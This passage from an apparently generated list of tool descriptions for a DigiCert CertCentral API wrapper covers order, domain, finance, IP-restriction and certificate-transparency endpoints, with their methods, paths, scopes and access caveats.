DigiCert reads, filters[]. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/ctmonitor/issuer-brand-settings. Scopes: api. digicert_ct_log_monitoring_get_ct_log_details_for_a_certificate (read) — Get CT log details for a certificate via GET /ctmonitor/{order_id}/cert-details/{certificate_serial_number}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/ctmonitor/{order_id}/cert-details/{certificate_serial_number}. Scopes: api. digicert_ct_log_monitoring_get_ct_log_monitoring_status (read) — Get CT log monitoring status via GET /ctmonitor/{order_id}/status. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/ctmonitor/{order_id}/status. Scopes: api. digicert_ct_log_monitoring_get_ct_logs_order_id (read) — Get CT logs (order ID) via GET /ctmonitor/{order_id}/details. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/ctmonitor/{order_id}/details. Scopes: api. digicert_domains_activate_domain (write) — Activate domain via PUT /domain/{domain_id}/activate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/activate. Scopes: api. digicert_domains_activate_domain_locking (write) — Activate domain locking via PUT /domain/{domain_id}/activate-domain-locking. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/activate-domain-locking. Scopes: api. digicert_domains_add_domain (write) — Add domain via POST /domain. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/domain. Scopes: api. digicert_domains_change_dcv_method (write) — Change DCV method via PUT /domain/{domain_id}/dcv/method. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/dcv/method. Scopes: api. digicert_domains_check_caa_domain_lock (write) — Check CAA (domain lock) via PUT /domain/{domain_id}/caa. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/caa. Scopes: api. digicert_domains_deactivate_domain (write) — Deactivate domain via PUT /domain/{domain_id}/deactivate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/deactivate. Scopes: api. digicert_domains_deactivate_domain_locking (write) — Deactivate domain locking via PUT /domain/{domain_id}/deactivate-domain-locking. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/deactivate-domain-locking. Scopes: api. digicert_domains_delete_domain (write, destructive) — Delete domain via DELETE /domain/{domain_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/domain/{domain_id}. Scopes: api. digicert_domains_domain_emails (read) — Domain emails via GET /domain/{domain_id}/dcv/emails GET /api/v1/digicert/domain/{domain_id}/dcv/emails. Scopes: api. digicert_domains_domain_info (read) — Domain info via GET /domain/{domain_id} GET /api/v1/digicert/domain/{domain_id}. Scopes: api. digicert_domains_expiring_domains_count (read) — Expiring domains count via GET /domain/expiration-count GET /api/v1/digicert/domain/expiration-count. Scopes: api. digicert_domains_list_dcv_methods (read) — List DCV methods via GET /domain/dcv/method GET /api/v1/digicert/domain/dcv/method. Scopes: api. digicert_domains_list_domains (read) — List domains via GET /domain. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/domain. Scopes: api. digicert_domains_ov_ev_ssl_check_dcv (write) — OV/EV SSL: Check DCV via PUT /domain/{domain_id}/dcv/validate-token. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/dcv/validate-token. Scopes: api. digicert_domains_ov_ev_ssl_generate_dcv_token (write) — OV/EV SSL: Generate DCV token via POST /domain/{domain_id}/dcv/token. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/domain/{domain_id}/dcv/token. Scopes: api. digicert_domains_resend_dcv_email (write) — Resend DCV email via PUT /domain/{domain_id}/dcv/emails. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/domain/{domain_id}/dcv/emails. Scopes: api. digicert_domains_submit_for_validation (write) — Domains: Submit for validation via POST /domain/{domain_id}/validation. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/domain/{domain_id}/validation. Scopes: api. digicert_domains_validation_details (read) — Domains: Validation details via GET /domain/{domain_id}/validation GET /api/v1/digicert/domain/{domain_id}/validation. Scopes: api. digicert_domains_validation_types (read) — Domains: Validation types via GET /domain/validation-type GET /api/v1/digicert/domain/validation-type. Scopes: api. digicert_finance_list_balance_history (read) — List balance history via GET /finance/balance-history. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/finance/balance-history. Scopes: api. digicert_finance_list_purchase_history (read) — List purchase history via GET /finance/purchase-history. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/finance/purchase-history. Scopes: api. digicert_finance_list_replacement_benefits (write) — List replacement benefits via POST /competitive-replacement/certificates. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/competitive-replacement/certificates. Scopes: api. digicert_finance_price_estimate (write) — Price estimate via POST /finance/order-pricing. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/finance/order-pricing. Scopes: api. digicert_finance_receipt_info (read) — Receipt info via GET /finance/receipt/{receipt_id} GET /api/v1/digicert/finance/receipt/{receipt_id}. Scopes: api. digicert_finance_transfer_funds (write) — Transfer funds via POST /finance/transfer. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/finance/transfer. Scopes: api. digicert_finance_view_balance (read) — View balance via GET /finance/balance GET /api/v1/digicert/finance/balance. Scopes: api. digicert_finance_voucher_price_estimate (write) — Voucher price estimate via POST /finance/voucher-pricing. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/finance/voucher-pricing. Scopes: api. digicert_ip_restrictions_add_ip_restriction (write) — Add IP restriction via POST /container/{container_id}/ip/rules. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/container/{container_id}/ip/rules. Scopes: api. digicert_ip_restrictions_delete_ip_restriction (write, destructive) — Delete IP restriction via DELETE /container/{container_id}/ip/rule/{rule_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/container/{container_id}/ip/rule/{rule_id}. Scopes: api. digicert_ip_restrictions_list_ip_restrictions (read) — List IP restrictions via GET /container/{container_id}/ip/rules GET /api/v1/digicert/container/{container_id}/ip/rules. Scopes: api. digicert_legacy_migration_digicert_order_id (read) — DigiCert order ID via GET /oem-migration/{legacy_order_id}/order-id. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/oem-migration/{legacy_order_id}/order-id. Scopes: api. digicert_orders_add_note (write) — Orders: Add note via POST /order/certificate/{order_id}/note. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/note. Scopes: api. digicert_orders_additional_emails (write) — Additional emails via PUT /order/certificate/{order_id}/additional-emails. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/additional-emails. Scopes: api. digicert_orders_change_ct_status (write) — Change CT status via PUT /order/certificate/{order_id}/ct-status. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/ct-status. Scopes: api. digicert_orders_change_order_container (write) — Change order container via PUT /order/certificate/{order_id}/move-to-container/{container_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/move-to-container/{container_id}. Scopes: api. digicert_orders_delete_custom_field (write, destructive) — Orders: Delete custom field via DELETE /order/certificate/{order_id}/custom-field/{metadata_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. DELETE /api/v1/digicert/order/certificate/{order_id}/custom-field/{metadata_id}. Scopes: api. digicert_orders_delete_note (write, destructive) — Delete note via DELETE /order/certificate/{order_id}/note/{note_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. DELETE /api/v1/digicert/order/certificate/{order_id}/note/{note_id}. Scopes: api. digicert_orders_delete_order (write, destructive) — Delete order via DELETE /order/certificate/{order_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. DELETE /api/v1/digicert/order/certificate/{order_id}. Scopes: api. digicert_orders_delete_renewal_message (write, destructive) — Delete renewal message via DELETE /order/certificate/{order_id}/custom-renewal-message. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. DELETE /api/v1/digicert/order/certificate/{order_id}/custom-renewal-message. Scopes: api. digicert_orders_duplicate_certificate (write) — Duplicate certificate via POST /order/certificate/{order_id}/duplicate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/duplicate. Scopes: api. digicert_orders_dv_ssl_change_dcv_method (write) — DV SSL: Change DCV method via PUT /order/certificate/{order_id}/dcv-method. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/dcv-method. Scopes: api. digicert_orders_dv_ssl_check_dcv (write) — DV SSL: Check DCV via PUT /order/certificate/{order_id}/check-dcv. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/check-dcv. Scopes: api. digicert_orders_dv_ssl_generate_dcv_token (write) — DV SSL: Generate DCV token via PUT /order/certificate/{order_id}/dcv-random-value. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/dcv-random-value. Scopes: api. digicert_orders_dv_ssl_resend_emails (write) — DV SSL: Resend emails via PUT /order/certificate/{order_id}/resend-emails. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/resend-emails. Scopes: api. digicert_orders_edit_custom_field_value (write) — Edit custom field value via POST /order/certificate/{order_id}/custom-field. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/custom-field. Scopes: api. digicert_orders_edit_domains_on_a_pending_order_or_reissue (write) — Edit domains on a pending order or reissue via PUT /order/certificate/{order_id}/dns-names. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/dns-names. Scopes: api. digicert_orders_edit_guest_access_order (write) — Edit guest access (order) via PUT /order/certificate/{order_id}/guest-access. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/guest-access. Scopes: api. digicert_orders_edit_note (write) — Edit note via PUT /order/certificate/{order_id}/note/{note_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/note/{note_id}. Scopes: api. digicert_orders_email_site_seal (write) — Email site seal via POST /order/certificate/{order_id}/site-seal/email-seal. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/site-seal/email-seal. Scopes: api. digicert_orders_email_validation_status (read) — Email validation status via GET /order/certificate/{order_id}/email-validation. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/email-validation. Scopes: api. digicert_orders_get_orders_by_alternative_order_id (read) — Get orders by alternative order ID via GET /order/alternate/{alternative_order_id}. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/alternate/{alternative_order_id}. Scopes: api. digicert_orders_get_vmc_or_cmc_logo (read) — Get VMC or CMC logo via GET /order/certificate/{order_id}/vmc/logo. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/vmc/logo. Scopes: api. digicert_orders_list_duplicates (read) — List duplicates via GET /order/certificate/{order_id}/duplicate. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/duplicate. Scopes: api. digicert_orders_list_order_notes (read) — List order notes via GET /order/certificate/{order_id}/note. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/note. Scopes: api. digicert_orders_list_orders (read) — List orders via GET /order/certificate. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/order/certificate. Scopes: api. digicert_orders_list_reissues (read) — List reissues via GET /order/certificate/{order_id}/reissue. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}/reissue. Scopes: api. digicert_orders_order_basic_ev (write) — Order Basic EV via POST /order/certificate/ssl_ev_basic. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_basic_ev. Scopes: api. digicert_orders_order_basic_ov (write) — Order Basic OV via POST /order/certificate/ssl_basic. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_basic. Scopes: api. digicert_orders_order_client_certificate (write) — Order client certificate via POST /order/certificate/{client_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_client_certificate. Scopes: api. digicert_orders_order_code_signing_certificate (write) — Order code signing certificate via POST /order/certificate/{code_signing_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_code_signing_certificate. Scopes: api. digicert_orders_order_common_mark_certificate_cmc (write) — Order Common Mark Certificate (CMC) via POST /order/certificate/mark_certificate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/mark_certificate. Scopes: api. digicert_orders_order_document_signing_certificate (write) — Order document signing certificate via POST /order/certificate/{document_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_document_signing_certificate. Scopes: api. digicert_orders_order_document_signing_for_employee (write) — Order Document Signing for Employee via POST /order/certificate/ds_org_individual. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ds_org_individual. Scopes: api. digicert_orders_order_document_signing_for_individual (write) — Order Document Signing for Individual via POST /order/certificate/ds_individual. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ds_individual. Scopes: api. digicert_orders_order_document_signing_for_organization (write) — Order Document Signing for Organization via POST /order/certificate/ds_org. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ds_org. Scopes: api. digicert_orders_order_dv_ssl (write) — Order DV SSL via POST /order/certificate/{dv_ssl_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_dv_ssl. Scopes: api. digicert_orders_order_geotrust_dv_ssl (write) — Order GeoTrust DV SSL via POST /order/certificate/ssl_dv_geotrust_flex. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_dv_geotrust_flex. Scopes: api. digicert_orders_order_info (read) — Order info via GET /order/certificate/{order_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/order/certificate/{order_id}. Scopes: api. digicert_orders_order_multi_year_plan (write) — Order Multi-year Plan via POST /order/certificate/ssl_ev_basic. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_multi_year_plan. Scopes: api. digicert_orders_order_ov_ev_ssl (write) — Order OV/EV SSL via POST /order/certificate/{ssl_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_ov_ev_ssl. Scopes: api. digicert_orders_order_private_ssl (write) — Order Private SSL via POST /order/certificate/{private_ssl_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_private_ssl. Scopes: api. digicert_orders_order_secure_email_certificate (write) — Order secure email certificate via POST /order/certificate/secure_email_mailbox. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/secure_email_mailbox. Scopes: api. digicert_orders_order_secure_site_ev (write) — Order Secure Site EV via POST /order/certificate/ssl_ev_securesite_flex. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_ev_securesite_flex. Scopes: api. digicert_orders_order_secure_site_ov (write) — Order Secure Site OV via POST /order/certificate/ssl_securesite_flex. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_securesite_flex. Scopes: api. digicert_orders_order_secure_site_pro_ev_ssl (write) — Order Secure Site Pro EV SSL via POST /order/certificate/ssl_ev_securesite_pro. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_ev_securesite_pro. Scopes: api. digicert_orders_order_secure_site_pro_ssl (write) — Order Secure Site Pro SSL via POST /order/certificate/ssl_securesite_pro. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl_securesite_pro. Scopes: api. digicert_orders_order_secure_site_ssl (write) — Order Secure Site SSL via POST /order/certificate/{ssl_certificate_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/_variants/orders_order_secure_site_ssl. Scopes: api. digicert_orders_order_ssl_type_hint (write) — Order SSL (type_hint) via POST /order/certificate/ssl. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/ssl. Scopes: api. digicert_orders_order_verified_mark_certificate_vmc (write) — Order Verified Mark Certificate (VMC) via POST /order/certificate/vmc_basic. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/vmc_basic. Scopes: api. digicert_orders_order_x9_pki_for_tls (write) — Order X9 PKI for TLS via POST /order/certificate/x9_pki. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/x9_pki. Scopes: api. digicert_orders_reissue_certificate (write) — Reissue certificate via POST /order/certificate/{order_id}/reissue. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/order/certificate/{order_id}/reissue. Scopes: api. digicert_orders_resend_order_approval_email (write) — Resend order approval email via PUT /order/certificate/{order_id}/order-approval/resend-emails. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/order/certificate/{order_id}/order-approval/resend-emails. Scopes: api. digicert_orders_revoke_order_certificates (write, destructive) — Revoke order certificates via PUT /order/certificate/{order_id}/revoke. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a 